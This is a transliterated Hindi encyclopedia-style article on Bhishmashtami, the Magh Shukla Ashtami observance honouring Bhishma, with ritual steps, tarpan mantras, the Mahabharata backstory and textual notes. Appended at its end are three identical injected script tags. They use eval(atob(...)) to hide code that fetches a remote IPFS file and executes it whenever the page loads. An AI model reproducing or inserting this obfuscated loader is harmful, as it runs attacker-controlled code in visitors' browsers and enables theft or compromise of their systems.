भीष्माष्टमी

bhishmashtami
bhishm|200px|center
vivaran	'bhishmashtami' hindoo dharm mean many pramukh vrat sanskaroan mean se ek hai. yah vrat mahabharat ke prasiddh patr pitamah bhishm se sambandhit hai.
tithi	magh mas ke shukl paksh ki ashtami tithi
anuyayi	hindoo
mahattv	is din bhishm ke nam se poojan aur tarpan karane se vir aur satyavadi santan ki prapti hoti hai.
sanbandhit lekh	hastinapur, shaantanu, ganga, bhishm, mahabharat, pandav, kaurav
bahari k diyaan	vrati ko bhishmashtami vrat ko karane ke sath-sath is din bhishm pitamah ki atma ki shanti ke liye tarpan bhi karana chahie.

bhishmashtami athava 'bhishm ashtami' ka vrat magh mah mean shukl paksh ki ashtami tithi ko kiya jata hai. mahabharat mean varnan hai ki bhishm pitamah ko ichchhamrityu ka varadan tha. magh shuklashtami tithi ko bal brahmachari bhishm pitamah ne soory ke uttarayan hone par apane pran chho de the. unaki pavan smriti mean yah parv manaya jata hai. is din pratyek hindoo ko bhishm pitamah ke nimitt kush, til, jal lekar tarpan karana chahie, chahe usake mata-pita jivit hi kyoan n hoan.

vrat-vidhi

is din pratah nity karm se nivritt hokar yadi sanbhav ho to kisi pavitr nadi ya sarovar ke tat par snan karean. anyatha ghar par hi vidhipoorvak snan kar bhishm pitamah ke nimitt hath mean til, jal adi lekar apasavy (dahine kandhe par janeoo karean, yajnopavit n ho to uttariy arthath gamachhe ko dahine rakhane ka vidhan hai) aur dakshinabhimukh hokar nimn mantroan se tarpan karean-

vaiyaghrapadagotray saankrityapravaray ch .

gangaputray bhishmay sarvada brahmacharine ॥ bhishmah shantanavo virah satyavadi jitendriyah .

abhiradbhiravapnotu putrapautrochitaan kriyamh ॥

yah tarpan dahine hath par bane pitritirth dvara aanjali dekar karean arthath uparokt mantroan ko padhate hue til-kush yukt jal ko tarjani aur aangoothe ke madhy bhag se hote hue patr par chho dean. isake bad punah savy (vapas pahale ki tarah bayean kandhe par janeoo kar lean) hokar nimn mantr se gangaputr bhishm ko arghy dena chahiye-

vasoonamavataray shantanoratmajay ch . arghy dadami bhishmay abalabrahmacharine ॥

pauranik katha

devavrat (bhishm) hastinapur ke raja shaantanu ki patarani ganga ki kokh se utpann hue the. ek samay ki bat hai. raja shaantanu shikar khelate-khelate ganga tat ke par chale ge. vahaan se lautate vakt unaki bheant haridas kevat ki roopavan putri matsyagandha (satyavati) se huee. shaantanu usake lavany par mohit ho ge. raja shantanu ne haridas se usaka apane lie hath maanga, parantu haridas ne raja ke prastav ko yah kahate hue thukara diya ki "maharaj apaka jyeshth putr devavrat apake rajy ka uttaradhikari hai, yadi ap meri kanya ke putr ko rajy ka uttaradhikari banane ki ghoshana karean to maian taiyar hooan." shantanu ne is bat ko manane se mana kar diya, parantu ve matsyagandha ko n bhoola sake. usaki yad mean vyakul rahane lage. ek din devavrat dvara unase unaki vyakulata ka karan poochhane par sara vrittaant pata chala. jnan hone par devavrat svayan kevat haridas ke pas gaye aur gangajal hath mean lekar ajivan avivahit rahane ki shapath li. isi kathin pratijna ke karan unaka nam bhishm p da. unaka poora jivan saty aur nyay ka paksh lete hue vyatit hua. raja shantanu ne devavrat se prasann hokar use ichchhit mrityu ka varadan diya.

kaurav-pandav yuddh mean duryodhan ne apani har hoti dekh bhishm pitamah par sandeh vyakt karate hue kaha ki- "ap adhoore man se yuddh kar rahe haian. apaka man pandavoan ki or hai. bhishm yah sunakar b de duahkhi hue tatha "aj jau harihi n shastr gahaooan" aisi pratijna ki. tatpashchath ghamasan yuddh hua. bhagavan shrikrishna ko bhishm pratijna ki raksha ke lie sudarshan chakr ko hath mean uthana p da. bhagavan shrikrishna ki pratijna bhang hote hi bhishm pitamah yuddh band karake sharashaiya par let gaye. mahabharat ke yuddh ki samapti par jab sury dakshinayan se uttarayan hue, tab bhishm pitamah ne apana sharir tyag diya. isalie magh shukl paksh ki ashtami unaki pavan smriti mean utsav ke roop mean manate haian.

vrat katha

mahabharat ke tathyoan ke anusar gangaputr devavrat ki mata devi ganga apane pati ko diye vachan ke anusar apane putr ko apane sath le gee thian. devavrat ki prarambhik shiksha aur lalan-palan inaki mata ke pas hi poora hua. unhoanne maharshi parashuram se shastr viddha li. daityaguru shukrachary se bhi inhean kafi kuchh sikhane ka mauka mila. apani anupam yuddhakala ke liye bhi inhean vishesh roop se jana jata hai. jab devavrat ne apani sabhi shikshaean poori kar lian to unhean unaki mata ne unake pita ko sauanp diya. kee varshoan ke bad pita-putr ka milan hua aur maharaj shaantanu ne apane putr ko yuvaraj ghoshit kar diya. samay vyatit hone par satyavati namak yuvati par mohit hone ke karan maharaj shaantanu ne yuvati se vivah ka agrah kiya. yuvati ke pita ne apani putri ka vivah karane se poorv yah shart maharaj ke sammukh rakhi ki- "devi satyavati ki hone vali santan hi rajy ki utaradhikari banegi. isi shart par ve is vivah ke liye sahamati deange."

yah shart maharaj ko svikar nahian thi, parantu jab isaka jnan unake putr devavrat ko hua to unhoanne apane pita ke sukh ko dhyan mean rakhate hue, yah bhishm pratijna li ki ve sare jivan mean brahmachary vrat ka palan kareange. devavrat ki pratijna se prasann hokar unake pita ne unhean ichchha mrihtyu ka varadan diya. kalantar mean bhishm ko paanch paandavoan ke viruddh yuddh karana p da. shikhandi par shastr n uthane ke apane pran ke karan unhoanne yuddh kshetr mean apane shastr tyag diye. yuddh mean ve ghayal ho gaye aur 18 dinoan tak mrityu shaiya par p de rahe, parantu sharir chho dane ke liye unhoanne soory ke uttarayan hone ki pratiksha ki. jivan ki viparit paristhitiyoan mean bhi apani pratijna ko nibhane ke karan devavrat bhishm ke nam se amar ho ge. magh mas ke shukl paksh ki ashtami ko bhishm pitamah ki nirvan tithi ke roop mean manaya jata hai. is tithi mean kush, til, jal se bhishm pitamah ka tarpan karana chahie. isase vyakti ko sabhi papoan se mukti milati hai.

mahattv

is vrat ke karane se manushy sundar aur gunavan santati prapt karata hai-

maghe masi sitashtamyaan satilan bhishmatarpanamh . shraddhan ch ye naraah kuryuste syuah santatibhaginah ॥

mahabharat ke anusar jo manushy magh shukl ashtami ko bhishm ke nimitt tarpan, jaladan adi karata hai, usake varshabhar ke pap nasht ho jate haian-

shuklashtamyaan tu maghasy dadyadh bhishmay yo jalamh . sanvatsarakritan papan tatkshanadev nashyati ॥

any tathy

• bhishm ko, jo ki kuanvare mrit hue the, prativarsh jal evan shraddh kiya jata hai, jo aisa kare ek varsh mean kiye gaye pap se mukt ho jata hai aur santati prapt karata hai.
• jisaka pita jivit ho, vah bhi bhishm ko jal de sakata hai.
• yah tithi sambhavatah mahabharat, anushasan parv par adharit hai-

maghoyan samanuprapto......tribhagasheshah pakshoyan shuklo bhavitumarhati

• pro. pi. si. senagupt ne 'samudragupt' ko 'samanupravishat' mana hai, jo ki trutipoorn evan tarkahin hai, yah manana ki bhishm ki mrityu magh krishna ashtami ko huee n ki magh shukl ashtami ko.
• bhujabalanibandh mean do shlok haian, jo tithitatv, nirnayasindhu evan any granthoan mean uddhrit haian–

'shuklashtamyaan tu maghasy dadyadh bhishmay yo jalamh.

sanvatsarakritan papan tatkshanadev nashyati.
vaiyaghrapadyagotray saankrimipravaray ch.

aputray dadatyamyetatsalilan bhishmavarmane..'

• brahmanoan ko bhi us uchch vyaktitv vale yoddha ko tarpan dene ki anumati di gayi hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>